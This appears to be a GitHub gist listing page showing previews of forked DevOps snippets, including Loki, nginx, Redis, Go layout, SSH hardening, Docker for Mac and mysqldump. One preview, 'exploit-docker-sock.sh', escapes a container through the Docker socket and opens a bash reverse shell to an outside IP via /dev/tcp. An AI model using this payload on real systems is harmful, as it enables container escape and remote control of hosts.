Skip to content

Instantly share code, notes, and snippets.

View evasilev's full-sized avatar
🐧

Jenia evasilev

🐧
View GitHub Profile
@evasilev
evasilev / docker-compose.yaml
Created March 28, 2024 17:20 — forked from BoredHackerBlog/docker-compose.yaml
grafana loki docker-compose file and vector settings
version: "3"
networks:
loki:
services:
loki:
image: grafana/loki:2.4.0
volumes:
- ./loki:/etc/loki
@evasilev
evasilev / folder_structure.md
Created March 15, 2024 09:58 — forked from ayoubzulfiqar/folder_structure.md
The Folder Structure for Every Golang Project

Go - The Ultimate Folder Structure

Organizing your Go (Golang) project's folder structure can help improve code readability, maintainability, and scalability. While there is no one-size-fits-all structure, here's a common folder structure for a Go project:

project-root/
    ├── cmd/
    │   ├── your-app-name/
    │   │   ├── main.go         # Application entry point
    │   │   └── ...             # Other application-specific files
@evasilev
evasilev / web-servers.md
Created January 26, 2024 14:10 — forked from willurd/web-servers.md
Big list of http static server one-liners

Each of these commands will run an ad hoc http static server in your current (or specified) directory, available at http://localhost:8000. Use this power wisely.

Discussion on reddit.

Python 2.x

$ python -m SimpleHTTPServer 8000
@evasilev
evasilev / redis_cheatsheet.bash
Created January 19, 2024 11:08 — forked from LeCoupa/redis_cheatsheet.bash
Redis Cheatsheet - Basic Commands You Must Know --> UPDATED VERSION --> https://github.com/LeCoupa/awesome-cheatsheets
# Redis Cheatsheet
# All the commands you need to know
redis-server /path/redis.conf # start redis with the related configuration file
redis-cli # opens a redis prompt
# Strings.
@evasilev
evasilev / nginx-tuning.md
Created January 16, 2024 15:08 — forked from denji/nginx-tuning.md
NGINX tuning for best performance

Moved to git repository: https://github.com/denji/nginx-tuning

NGINX Tuning For Best Performance

For this configuration you can use web server you like, i decided, because i work mostly with it to use nginx.

Generally, properly configured nginx can handle up to 400K to 500K requests per second (clustered), most what i saw is 50K to 80K (non-clustered) requests per second and 30% CPU load, course, this was 2 x Intel Xeon with HyperThreading enabled, but it can work without problem on slower machines.

You must understand that this config is used in testing environment and not in production so you will need to find a way to implement most of those features best possible for your servers.

@evasilev
evasilev / secure-ssh.yml
Created November 23, 2023 16:30 — forked from hughker/secure-ssh.yml
Secure SSH configuration ansible playbook
---
# SSH server settings, in line with https://stribika.github.io/2015/01/04/secure-secure-shell.html
# Before using, change myhosts to your hosts' nickname and myuser to your username (two instances! make sure you replace both or you'll be locked out of ssh!)
- hosts: myhosts
become: true
remote_user: myuser
tasks:
# Key exchange, ciphers and MACs
- lineinfile: dest=/etc/ssh/sshd_config regexp='^KexAlgorithms' line='KexAlgorithms curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256'
@evasilev
evasilev / exploit-docker-sock.sh
Created November 10, 2023 16:13 — forked from PwnPeter/exploit-docker-sock.sh
Exploit docker.sock to mount root filesystem in a container
#!/bin/bash
# you can see images availables with
# curl -s --unix-socket /var/run/docker.sock http://localhost/images/json
# here we have sandbox:latest
# command executed when container is started
# change dir to tmp where the root fs is mount and execute reverse shell
cmd="[\"/bin/sh\",\"-c\",\"chroot /tmp sh -c \\\"bash -c 'bash -i &>/dev/tcp/10.10.14.30/12348 0<&1'\\\"\"]"
@evasilev
evasilev / docker-for-mac.md
Created June 29, 2023 12:14 — forked from BretFisher/docker-for-mac.md
Getting a Shell in the Docker Desktop Mac VM

2021 Update: Easiest option is Justin's repo and image

Just run this from your Mac terminal and it'll drop you in a container with full permissions on the Docker VM. This also works for Docker for Windows for getting in Moby Linux VM (doesn't work for Windows Containers).

docker run -it --rm --privileged --pid=host justincormack/nsenter1

more info: https://github.com/justincormack/nsenter1


@evasilev
evasilev / docker_for_mac_disk_default_size.md
Created June 29, 2023 12:02 — forked from stefanfoulis/docker_for_mac_disk_default_size.md
How to resize Docker for Mac Disk image and set the default size for new images

Set the default size for new Docker for Mac disk images

UPDATE: The instructions here are no longer necessary! Resizing the disk image is now possible right from the UI since Docker for Mac Version 17.12.0-ce-mac49 (21995).

If you are getting the error: No space left on device

Configuring the qcow2 size cap is possible in the current versions:

# my disk is currently 64GiB
@evasilev
evasilev / db1-db2-only-tables-diff.sh
Created June 5, 2023 13:18 — forked from molotovbliss/db1-db2-only-tables-diff.sh
Easily compare with diff, mysqldump two DB tables only (no data)
# Easily compare with diff, mysqldump two DB table schemas ignoring /* SET Comments etc... */ with grep
# Used originaly to locate missing custom tables from Magento 1.x to Magento 2.x after data migration
# dump both databases with as little details as possible (DONT run these in production without table locking disabled!)
# Use grep to remove /* SET ... */ like comments from dump and save to > dbX.sql
mysqldump --skip-set-charset --skip-triggers --skip-opt -K --skip-comments --skip-extended-insert -d --no-data -u root -p db1 | grep -v '^\/\*![0-9]\{5\}.*\/;$' > db1.sql;
mysqldump --skip-set-charset --skip-triggers --skip-opt -K --skip-comments --skip-extended-insert -d --no-data -u root -p db2 | grep -v '^\/\*![0-9]\{5\}.*\/;$' > db2.sql;
# compare both db dumps and grep for only CREATE TABLE lines
diff db1.sql db2.sql | grep -iP '^\<.CREATE.TABLE.\`.+\`'